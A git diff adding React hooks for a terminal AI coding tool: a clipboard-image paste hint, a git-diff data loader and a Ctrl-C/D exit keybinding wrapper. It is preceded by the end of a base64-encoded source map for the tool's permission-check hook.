CAgICBkZWNpc2lvblJlYXNvbjoge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdHlwZTogJ2NsYXNzaWZpZXInIGFzIGNvbnN0LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3NpZmllcjogJ2Jhc2hfYWxsb3cnIGFzIGNvbnN0LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVhc29uOiBgQWxsb3dlZCBieSBwcm9tcHQgcnVsZTogXCIke3JhY2VSZXN1bHQucmVzdWx0Lm1hdGNoZWREZXNjcmlwdGlvbn1cImAsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICksXG4gICAgICAgICAgICAgICAgICAgICAgKVxuICAgICAgICAgICAgICAgICAgICAgIHJldHVyblxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIC8vIFRpbWVvdXQgb3Igbm8gbWF0Y2gg4oCUIGZhbGwgdGhyb3VnaCB0byBzaG93IGRpYWxvZ1xuICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC8vIFNob3cgZGlhbG9nIGFuZCBzdGFydCBob29rcy9jbGFzc2lmaWVyIGluIGJhY2tncm91bmRcbiAgICAgICAgICAgICAgICBoYW5kbGVJbnRlcmFjdGl2ZVBlcm1pc3Npb24oXG4gICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgIGN0eCxcbiAgICAgICAgICAgICAgICAgICAgZGVzY3JpcHRpb24sXG4gICAgICAgICAgICAgICAgICAgIHJlc3VsdCxcbiAgICAgICAgICAgICAgICAgICAgYXdhaXRBdXRvbWF0ZWRDaGVja3NCZWZvcmVEaWFsb2c6XG4gICAgICAgICAgICAgICAgICAgICAgYXBwU3RhdGUudG9vbFBlcm1pc3Npb25Db250ZXh0XG4gICAgICAgICAgICAgICAgICAgICAgICAuYXdhaXRBdXRvbWF0ZWRDaGVja3NCZWZvcmVEaWFsb2csXG4gICAgICAgICAgICAgICAgICAgIGJyaWRnZUNhbGxiYWNrczogZmVhdHVyZSgnQlJJREdFX01PREUnKVxuICAgICAgICAgICAgICAgICAgICAgID8gYXBwU3RhdGUucmVwbEJyaWRnZVBlcm1pc3Npb25DYWxsYmFja3NcbiAgICAgICAgICAgICAgICAgICAgICA6IHVuZGVmaW5lZCxcbiAgICAgICAgICAgICAgICAgICAgY2hhbm5lbENhbGxiYWNrczpcbiAgICAgICAgICAgICAgICAgICAgICBmZWF0dXJlKCdLQUlST1MnKSB8fCBmZWF0dXJlKCdLQUlST1NfQ0hBTk5FTFMnKVxuICAgICAgICAgICAgICAgICAgICAgICAgPyBhcHBTdGF0ZS5jaGFubmVsUGVybWlzc2lvbkNhbGxiYWNrc1xuICAgICAgICAgICAgICAgICAgICAgICAgOiB1bmRlZmluZWQsXG4gICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgcmVzb2x2ZSxcbiAgICAgICAgICAgICAgICApXG5cbiAgICAgICAgICAgICAgICByZXR1cm5cbiAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgIH0pXG4gICAgICAgICAgLmNhdGNoKGVycm9yID0+IHtcbiAgICAgICAgICAgIGlmIChcbiAgICAgICAgICAgICAgZXJyb3IgaW5zdGFuY2VvZiBBYm9ydEVycm9yIHx8XG4gICAgICAgICAgICAgIGVycm9yIGluc3RhbmNlb2YgQVBJVXNlckFib3J0RXJyb3JcbiAgICAgICAgICAgICkge1xuICAgICAgICAgICAgICBsb2dGb3JEZWJ1Z2dpbmcoXG4gICAgICAgICAgICAgICAgYFBlcm1pc3Npb24gY2hlY2sgdGhyZXcgJHtlcnJvci5jb25zdHJ1Y3Rvci5uYW1lfSBmb3IgdG9vbD0ke3Rvb2wubmFtZX06ICR7ZXJyb3IubWVzc2FnZX1gLFxuICAgICAgICAgICAgICApXG4gICAgICAgICAgICAgIGN0eC5sb2dDYW5jZWxsZWQoKVxuICAgICAgICAgICAgICByZXNvbHZlKGN0eC5jYW5jZWxBbmRBYm9ydCh1bmRlZmluZWQsIHRydWUpKVxuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgbG9nRXJyb3IoZXJyb3IpXG4gICAgICAgICAgICAgIHJlc29sdmUoY3R4LmNhbmNlbEFuZEFib3J0KHVuZGVmaW5lZCwgdHJ1ZSkpXG4gICAgICAgICAgICB9XG4gICAgICAgICAgfSlcbiAgICAgICAgICAuZmluYWxseSgoKSA9PiB7XG4gICAgICAgICAgICBjbGVhckNsYXNzaWZpZXJDaGVja2luZyh0b29sVXNlSUQpXG4gICAgICAgICAgfSlcbiAgICAgIH0pXG4gICAgfSxcbiAgICBbc2V0VG9vbFVzZUNvbmZpcm1RdWV1ZSwgc2V0VG9vbFBlcm1pc3Npb25Db250ZXh0XSxcbiAgKVxufVxuXG5leHBvcnQgZGVmYXVsdCB1c2VDYW5Vc2VUb29sXG4iXSwibWFwcGluZ3MiOiI7QUFBQSxTQUFTQSxPQUFPLFFBQVEsWUFBWTtBQUNwQyxTQUFTQyxpQkFBaUIsUUFBUSxtQkFBbUI7QUFDckQsT0FBTyxLQUFLQyxLQUFLLE1BQU0sT0FBTztBQUM5QixTQUFTQyxXQUFXLFFBQVEsT0FBTztBQUNuQyxTQUNFLEtBQUtDLDBEQUEwRCxFQUMvREMsUUFBUSxRQUNILGlDQUFpQztBQUN4QyxTQUFTQyw0QkFBNEIsUUFBUSxvQ0FBb0M7QUFDakYsY0FBY0MsY0FBYyxRQUFRLGdEQUFnRDtBQUNwRixTQUFTQyxJQUFJLFFBQVEsV0FBVztBQUNoQyxjQUNFQyxxQkFBcUIsRUFDckJDLElBQUksSUFBSUMsUUFBUSxFQUNoQkMsY0FBYyxRQUNULFlBQVk7QUFDbkIsU0FDRUMsaUNBQWlDLEVBQ2pDQyw4QkFBOEIsUUFDekIsc0NBQXNDO0FBQzdDLFNBQVNDLGNBQWMsUUFBUSwrQkFBK0I7QUFDOUQsY0FBY0MsZ0JBQWdCLFFBQVEscUJBQXFCO0FBQzNELFNBQVNDLG9CQUFvQixRQUFRLDZCQUE2QjtBQUNsRSxTQUNFQyx1QkFBd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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/hooks/useClipboardImageHint.ts b/_all-in-one-upload/cc-haha/src/hooks/useClipboardImageHint.ts
new file mode 100644
index 0000000..48aa528
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/hooks/useClipboardImageHint.ts
@@ -0,0 +1,77 @@
+import { useEffect, useRef } from 'react'
+import { useNotifications } from '../context/notifications.js'
+import { getShortcutDisplay } from '../keybindings/shortcutFormat.js'
+import { hasImageInClipboard } from '../utils/imagePaste.js'
+
+const NOTIFICATION_KEY = 'clipboard-image-hint'
+// Small debounce to batch rapid focus changes
+const FOCUS_CHECK_DEBOUNCE_MS = 1000
+// Don't show the hint more than once per this interval
+const HINT_COOLDOWN_MS = 30000
+
+/**
+ * Hook that shows a notification when the terminal regains focus
+ * and the clipboard contains an image.
+ *
+ * @param isFocused - Whether the terminal is currently focused
+ * @param enabled - Whether image paste is enabled (onImagePaste is defined)
+ */
+export function useClipboardImageHint(
+  isFocused: boolean,
+  enabled: boolean,
+): void {
+  const { addNotification } = useNotifications()
+  const lastFocusedRef = useRef(isFocused)
+  const lastHintTimeRef = useRef(0)
+  const checkTimeoutRef = useRef<NodeJS.Timeout | null>(null)
+
+  useEffect(() => {
+    // Only trigger on focus regain (was unfocused, now focused)
+    const wasFocused = lastFocusedRef.current
+    lastFocusedRef.current = isFocused
+
+    if (!enabled || !isFocused || wasFocused) {
+      return
+    }
+
+    // Clear any pending check
+    if (checkTimeoutRef.current) {
+      clearTimeout(checkTimeoutRef.current)
+    }
+
+    // Small debounce to batch rapid focus changes
+    checkTimeoutRef.current = setTimeout(
+      async (checkTimeoutRef, lastHintTimeRef, addNotification) => {
+        checkTimeoutRef.current = null
+
+        // Check cooldown to avoid spamming the user
+        const now = Date.now()
+        if (now - lastHintTimeRef.current < HINT_COOLDOWN_MS) {
+          return
+        }
+
+        // Check if clipboard has an image (async osascript call)
+        if (await hasImageInClipboard()) {
+          lastHintTimeRef.current = now
+          addNotification({
+            key: NOTIFICATION_KEY,
+            text: `Image in clipboard · ${getShortcutDisplay('chat:imagePaste', 'Chat', 'ctrl+v')} to paste`,
+            priority: 'immediate',
+            timeoutMs: 8000,
+          })
+        }
+      },
+      FOCUS_CHECK_DEBOUNCE_MS,
+      checkTimeoutRef,
+      lastHintTimeRef,
+      addNotification,
+    )
+
+    return () => {
+      if (checkTimeoutRef.current) {
+        clearTimeout(checkTimeoutRef.current)
+        checkTimeoutRef.current = null
+      }
+    }
+  }, [isFocused, enabled, addNotification])
+}
diff --git a/_all-in-one-upload/cc-haha/src/hooks/useDiffData.ts b/_all-in-one-upload/cc-haha/src/hooks/useDiffData.ts
new file mode 100644
index 0000000..176bcf0
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/hooks/useDiffData.ts
@@ -0,0 +1,110 @@
+import type { StructuredPatchHunk } from 'diff'
+import { useEffect, useMemo, useState } from 'react'
+import {
+  fetchGitDiff,
+  fetchGitDiffHunks,
+  type GitDiffResult,
+  type GitDiffStats,
+} from '../utils/gitDiff.js'
+
+const MAX_LINES_PER_FILE = 400
+
+export type DiffFile = {
+  path: string
+  linesAdded: number
+  linesRemoved: number
+  isBinary: boolean
+  isLargeFile: boolean
+  isTruncated: boolean
+  isNewFile?: boolean
+  isUntracked?: boolean
+}
+
+export type DiffData = {
+  stats: GitDiffStats | null
+  files: DiffFile[]
+  hunks: Map<string, StructuredPatchHunk[]>
+  loading: boolean
+}
+
+/**
+ * Hook to fetch current git diff data on demand.
+ * Fetches both stats and hunks when component mounts.
+ */
+export function useDiffData(): DiffData {
+  const [diffResult, setDiffResult] = useState<GitDiffResult | null>(null)
+  const [hunks, setHunks] = useState<Map<string, StructuredPatchHunk[]>>(
+    new Map(),
+  )
+  const [loading, setLoading] = useState(true)
+
+  // Fetch diff data on mount
+  useEffect(() => {
+    let cancelled = false
+
+    async function loadDiffData() {
+      try {
+        // Fetch both stats and hunks
+        const [statsResult, hunksResult] = await Promise.all([
+          fetchGitDiff(),
+          fetchGitDiffHunks(),
+        ])
+
+        if (!cancelled) {
+          setDiffResult(statsResult)
+          setHunks(hunksResult)
+          setLoading(false)
+        }
+      } catch (_error) {
+        if (!cancelled) {
+          setDiffResult(null)
+          setHunks(new Map())
+          setLoading(false)
+        }
+      }
+    }
+
+    void loadDiffData()
+
+    return () => {
+      cancelled = true
+    }
+  }, [])
+
+  return useMemo(() => {
+    if (!diffResult) {
+      return { stats: null, files: [], hunks: new Map(), loading }
+    }
+
+    const { stats, perFileStats } = diffResult
+    const files: DiffFile[] = []
+
+    // Iterate over perFileStats to get all files including large/skipped ones
+    for (const [path, fileStats] of perFileStats) {
+      const fileHunks = hunks.get(path)
+      const isUntracked = fileStats.isUntracked ?? false
+
+      // Detect large file (in perFileStats but not in hunks, and not binary/untracked)
+      const isLargeFile = !fileStats.isBinary && !isUntracked && !fileHunks
+
+      // Detect truncated file (total > limit means we truncated)
+      const totalLines = fileStats.added + fileStats.removed
+      const isTruncated =
+        !isLargeFile && !fileStats.isBinary && totalLines > MAX_LINES_PER_FILE
+
+      files.push({
+        path,
+        linesAdded: fileStats.added,
+        linesRemoved: fileStats.removed,
+        isBinary: fileStats.isBinary,
+        isLargeFile,
+        isTruncated,
+        isUntracked,
+      })
+    }
+
+    files.sort((a, b) => a.path.localeCompare(b.path))
+
+    return { stats, files, hunks, loading: false }
+  }, [diffResult, hunks, loading])
+}
diff --git a/_all-in-one-upload/cc-haha/src/hooks/useExitOnCtrlCDWithKeybindings.ts b/_all-in-one-upload/cc-haha/src/hooks/useExitOnCtrlCDWithKeybindings.ts
new file mode 100644
index 0000000..7f30f55
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/hooks/useExitOnCtrlCDWithKeybindings.ts
@@ -0,0 +1,24 @@
+import { useKeybindings } from '../keybindings/useKeybinding.js'
+import { type ExitState, useExitOnCtrlCD } from './useExitOnCtrlCD.js'
+
+export type { ExitState }
+
+/**
+ * Convenience hook that wires up useExitOnCtrlCD with useKeybindings.
+ *
+ * This is the standard way to use useExitOnCtrlCD in components.
+ * The separation exists to avoid import cycles - useExitOnCtrlCD.ts
+ * doesn't import from the keybindings module directly.
+ *
+ * @param onExit - Optional custom exit handler
+ * @param onInterrupt - Optional callback for features to handle interrupt (ctrl+c).
+ *                      Return true if handled, false to fall through to double-press exit.
+ * @param isActive - Whether the keybinding is active (default true).
+ */
+export function useExitOnCtrlCDWithKeybindings(
+  onExit?: () => void,
+  onInterrupt?: () => boolean,
+  isActive?: boolean,
+): ExitState {
+  return useExitOnCtrlCD(useKeybindings, onInterrupt, onExit, isActive)
+}
